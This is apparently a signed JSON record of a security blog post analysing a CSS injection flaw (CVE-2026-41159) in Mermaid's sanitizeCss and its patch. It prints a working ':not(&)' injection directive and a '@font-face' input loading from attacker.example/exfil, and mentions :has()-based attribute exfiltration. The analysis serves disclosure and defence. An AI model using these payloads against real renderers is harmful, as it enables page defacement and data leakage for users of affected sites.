-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 NEFARIOUSPLAN-CANONICAL-V1 {"body_md":"## `sanitizeCss` does not parse CSS\n\nThe sanitizer is fourteen lines, from `packages/mermaid/src/utils/sanitizeDirective.ts`:\n\n```ts\nexport const sanitizeCss = (str: string): string => {\n let startCnt = 0;\n let endCnt = 0;\n for (const element of str) {\n if (startCnt < endCnt) {\n return '{ /* ERROR: Unbalanced CSS */ }';\n }\n if (element === '{') {\n startCnt++;\n } else if (element === '}') {\n endCnt++;\n }\n }\n if (startCnt !== endCnt) {\n return '{ /* ERROR: Unbalanced CSS */ }';\n }\n // Todo add more checks here\n return str;\n};\n```\n\nThis is the function that decides whether `themeCSS`, `fontFamily`, and `altFontFamily` are safe to embed. The dispatcher that calls it is in the same file:\n\n```ts\nconst cssMatchers = ['themeCSS', 'fontFamily', 'altFontFamily'];\nfor (const cssKey of cssMatchers) {\n if (key.includes(cssKey)) {\n log.debug('sanitizing css option', key);\n args[key] = sanitizeCss(args[key]);\n }\n}\n```\n\nThe three values are pulled out of the diagram's `%%{init: {...}}%%` directive, the in-band configuration block a Mermaid author writes into the Markdown source, and routed through `sanitizeCss`. The function's name appears in a log line. The function's body is two counters and a sentinel return on imbalance. Any string with balanced braces is returned to the caller unmodified. The string `:not(&){background:red !important}` has balanced braces.\n\nThe TODO is older than the bug. Knut Sveidqvist's commit `9c12502a3`, dated December 14, 2021, introduces the function under the message *\"Testing that the added css have balanced brackets\"*. The first sentence of that commit message is also the last sentence of the threat model the function ever implemented.\n\n## The containment was the namespace wrap\n\nThe sanitizer was never supposed to be the containment. The containment was applied at a different layer, in `createUserStyles` in `packages/mermaid/src/mermaidAPI.ts`. The pre-patch implementation is one line of work:\n\n```ts\nreturn serialize(compile(`${svgId}{${allStyles}}`), stringify);\n```\n\n`svgId` is the id of the SVG element Mermaid is about to render into, formatted as a CSS selector, something like `#mermaid-1`. `allStyles` is the CSS string the sanitizer already approved. The author wraps the styles in a parent selector and hands the result to `stylis`, the CSS-in-JS compiler React uses to power styled-components and emotion. The comment immediately above the line reads:\n\n```ts\n// Now turn all of the styles into a (compiled) string that starts with the id\n```\n\nThe author was right that `${svgId}{...}` looks like a parent selector. The author was right that stylis implements CSS Nesting. The author was right that nested rules get the parent prefixed onto them automatically. What the author missed: the CSS Nesting specification names the auto-prefix and names the exception. The MDN page the patch commit eventually cites:\n\n> If there's no `&` in the child rule selector, one gets prefixed automatically. However, if an `&` is present in the child rule selector, there's no automatic prefix of the parent rule selector.\n\nStylis implements both halves of that rule faithfully. A child rule containing `&` is left alone, because `&` is the way the author of the nested rule asserts that they already know where they want the parent to appear. The `&` is the namespace.\n\n`:not(&)` is therefore the opposite of the namespace. Stylis compiles `#mermaid-1{:not(&){background:red !important}}` to:\n\n```css\n:not(#mermaid-1){background:red!important;}\n```\n\nThat selector matches every element on the page except the diagram.\n\n## One config field is the exploit\n\nA user who can submit Mermaid source can write:\n\n````markdown\n```mermaid\n%%{init: {\"fontFamily\": \"x; :not(&){background:red !important}\"}}%%\nflowchart LR\n A --> B\n```\n````\n\nThe directive is parsed. `fontFamily` is routed through `sanitizeCss`. Braces balance. The string passes. The value is handed to `createCssStyles`:\n\n```ts\nif (config.fontFamily !== undefined) {\n cssStyles.insertRule(\n `:root { --mermaid-font-family: ${config.fontFamily}}`,\n cssStyles.cssRules.length\n );\n}\n```\n\nThe interpolated CSS reads `:root { --mermaid-font-family: x; :not(&){background:red !important}}`. The next stage wraps that under `#mermaid-1{...}` and serializes through stylis. The output reaches the page as:\n\n```css\n#mermaid-1 :root{--mermaid-font-family:x;}\n:not(#mermaid-1){background:red!important;}\n```\n\nEvery element outside the diagram now has a red background. The diagram was the submitter's. The page was not.\n\nThe submission surface is wherever a low-privileged caller's Mermaid source is rendered: a GitLab wiki, a Joplin note, a chat client's Markdown preview, a comment box on a status page, any product that promotes Mermaid as a built-in renderer for user-authored Markdown. The CVSS:3.1 vector `AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L` rates this 5.3 with availability impact only. The GHSA's own Details section names *page defacement* (integrity) and *DOM attribute exfiltration via CSS `:has()` selectors* (confidentiality). The scope flag says S:U, scope unchanged. The bug is CSS that escapes its containing component into every other component on the same document. One of those statements about CVE-2026-41159 describes the bug and one does not.\n\n## The patch is a stylis middleware that does not look at at-rules\n\nCommit `64769738d5b59211e1decb471ffbaca8afec51aa` (v11.15.0, April 1, 2026) and commit `a9d9f0d8eb790349121508688cd338253fd80d76` (v10.9.6) ship the same fix. The previous serialize-compile pair is replaced by a new helper, `compileCSS`, that reaches for stylis's middleware API:\n\n```ts\nconst compileCSS = (namespace: `#${string}`, css: string) => {\n return serialize(\n compile(`${namespace}{${css}}`),\n middleware([\n function addNamespace(element, _index, _children, _callback) {\n if (element.type === 'rule' && Array.isArray(element.props)) {\n element.props = element.props.map((prop) => {\n if (!prop.startsWith(namespace)) {\n return `${namespace} ${prop}`;\n }\n return prop;\n });\n }\n },\n stringify,\n ])\n );\n};\n```\n\nA stylis middleware traverses the parsed AST. For every node whose type is `'rule'`, the middleware walks `element.props`, the list of selectors stylis has resolved for that rule, and prepends `#mermaid-xxx ` to any selector that does not already begin with it. The `:not(&)` selector, which stylis has already expanded to `:not(#mermaid-1)`, is rewritten to `#mermaid-1 :not(#mermaid-1)`. The diagram-only constraint is restored.\n\nThe patch's test case in `cypress/integration/other/ghsa.spec.js` covers exactly one input shape:\n\n```js\nit('should prevent CSS namespace injection via :not(&)', () => {\n imgSnapshotTest(`---\ntitle: Green background CSS should not be able to escape the diagram using :not(&)\nconfig:\n themeCSS: ':not(&){background:green !important}'\n---\nflowchart\n A --> B\n `, { logLevel: 1 });\n cy.get('body').should('not.have.css', 'background-color', 'rgb(0, 128, 0)');\n});\n```\n\nThe GHSA's own Details section names a second vector:\n\n> Global at-rules (`@font-face`, `@keyframes`, `@counter-style`) are also injectable as stylis hoists them to top level. This allows page defacement and DOM attribute exfiltration via CSS `:has()` selectors.\n\nThe patch's middleware checks `element.type === 'rule'`. Stylis's `src/Enum.js` declares the at-rule types `KEYFRAMES`, `FONT_FACE`, `IMPORT`, `NAMESPACE`, `LAYER` as separate constants from `RULESET`. The middleware does not match them. Empirically, against stylis 4.4.0 with the patch middleware applied:\n\n```\n=== post-patch @font-face ===\ninput: #mermaid-1{@font-face{font-family:\"x\";src:url(https://attacker.example/exfil)}}\noutput: @font-face{font-family:\"x\";src:url(https://attacker.example/exfil);}\n\n=== post-patch @counter-style ===\ninput: #mermaid-1{@counter-style nef{system:cyclic;symbols:\"x\"}}\noutput: @counter-style nef{system:cyclic;symbols:\"x\";}\n```\n\nThe at-rules emerge from the compiler hoisted, namespace-free, byte-identical to their pre-patch form. The post-patch `@keyframes` case is degenerate: the middleware injects `#mermaid-1` mid-keyframe-selector, which yields invalid keyframe syntax that browsers silently drop, but the `@keyframes` registration itself remains global.\n\nThe patch is safe in practice because the rule-prefixing alone is enough. A hoisted `@font-face` is exploit-shaped only when something downstream sets `font-family: ` on an element the attacker cares about, and every rule the same compiler emits now resolves with `#mermaid-xxx` in front of it. The architecture neuters the at-rule vector because the at-rule needs a rule consumer that the same architecture has scoped. The test case ships for the selector escape. The at-rule containment is a side effect of the same prefix logic, asserted by neither the unit test nor the Cypress test.\n\n## Gate Narrower Than Sink\n\n`sanitizeCss` and stylis are two parsers reading the same input. `sanitizeCss` defines safety as *every `{` has a matching `}`*. Stylis defines syntax as everything the CSS Nesting specification allows, with explicit handling for `&`, `:not(&)`, `@font-face`, `@keyframes`, and the rest.\n\nThe set of strings the sanitizer accepts strictly contains the set of strings stylis treats as valid CSS, and the strings the sanitizer accepts that stylis does not interpret innocuously are the bypass. That shape has a name in this catalog. It is [Gate Narrower Than Sink](/patterns/gate-narrower-than-sink), the pattern where a filter's grammar is strictly contained within the downstream sink's grammar and inputs the sink accepts but the filter does not match flow through unfiltered. We have written about it before. W3 Total Cache's CVE-2026-27384 was two PHP regexes that described the same `mfunc` template syntax with different whitespace rules. The `shell-quote` CVE-2026-9277 was a JavaScript character-class regex and POSIX sh disagreeing about whether the newline character is part of \"any character\". Starlette's CVE-2026-48710 was `urllib.parse.urlsplit` reading a path string assembled from the Host header on one side and the ASGI server's raw request-line parser on the other.\n\nMermaid extends the shape into CSS. The gate's matcher is a single-state finite automaton that increments two counters. The sink's matcher implements the CSS Nesting specification. The two matchers were written to enforce the same notion, *this string is safe to embed as CSS*, and disagreed at the level of every CSS feature past brace pairing.\n\nThere is a second pattern in the same vendor. Mermaid ships a `secure` config option that prevents diagrams from overriding security-relevant fields at runtime, and a `securityLevel: 'sandbox'` mode that puts the rendered SVG inside a sandboxed iframe. Either choice would have prevented this exploit. Neither is default. The GHSA's Workarounds section names both. The unsafe default is what shipped. That is [Safe Mode Was Opt In](/patterns/safe-mode-was-opt-in), the pattern EspoCRM exhibited with `defaultTransform`, vm2 exhibited with `bufferAllocLimit: Infinity`, and [WPCode exhibited with `register_post_type` defaulting `capability_type` to `'post'`](/posts/wpcode-cve-2026-8832-custom-caps-not-on-the-cpt). Mermaid's variant: the flag that turns off attacker-controlled CSS exists, has a name, and is off by default.\n\n## The function named after the threat\n\n`sanitizeCss` was named after the threat. Its body is bookkeeping. The threat is enforced two files away by a CSS-in-JS compiler whose nesting semantics the sanitizer was never aware of. The April 2026 patch closes the named exploit by inserting a middleware into the compiler that traverses the rule AST and prefixes the namespace onto every selector that does not already begin with it. The same patch does not touch `sanitizeCss`. The function's name remains `sanitizeCss`. Its closing comment remains `// Todo add more checks here`, with four years and four months of git history above it now to draw the line under what was on the maintainer's mind every time they opened the file and what was not.\n\nPoC: [GHSA-87f9-hvmw-gh4p](https://github.com/mermaid-js/mermaid/security/advisories/GHSA-87f9-hvmw-gh4p)","closing_line":"The patch lives in the compiler. The function called `sanitizeCss` is unchanged. Its closing comment still reads `// Todo add more checks here`.","hook_md":"`sanitizeCss()` in `packages/mermaid/src/utils/sanitizeDirective.ts` is a brace counter. It iterates the input string once, increments `startCnt` on each `{`, increments `endCnt` on each `}`, returns `'{ /* ERROR: Unbalanced CSS */ }'` if the counts ever disagree, and returns the input unmodified if they do not. It does not parse selectors. It does not enforce structure. It does not know what an at-rule is. Its closing line is the comment `// Todo add more checks here`, present since Knut Sveidqvist added the function in December 2021.\n\nCVE-2026-41159 is what happens when the function named after the threat is handed to a CSS-in-JS compiler that resolves the CSS Nesting Selector.","post_id":565,"slug":"mermaid-cve-2026-41159-sanitizecss-counts-braces","title":"CVE-2026-41159: Mermaid Called Its Brace Counter A CSS Sanitizer","type":"initial","unreadable_sentence":"`sanitizeCss()` counts braces; the compiler it feeds resolves CSS nesting; the function's name encoded a threat the function never enforced."} -----BEGIN PGP SIGNATURE----- iHUEARYIAB0WIQRf0htP5+SjynlxywneZjl4jgkQJgUCaq2OkgAKCRDeZjl4jgkQ JgqmAP9ZEh+XG5BXCN0iMmajRbx31nf3Zn02sTZsHc07paAQ7wD/cJ+TmCHHRgdH YT4Srz4jCAxaWy/yB9IL5DELD1I+swM= =wusi -----END PGP SIGNATURE-----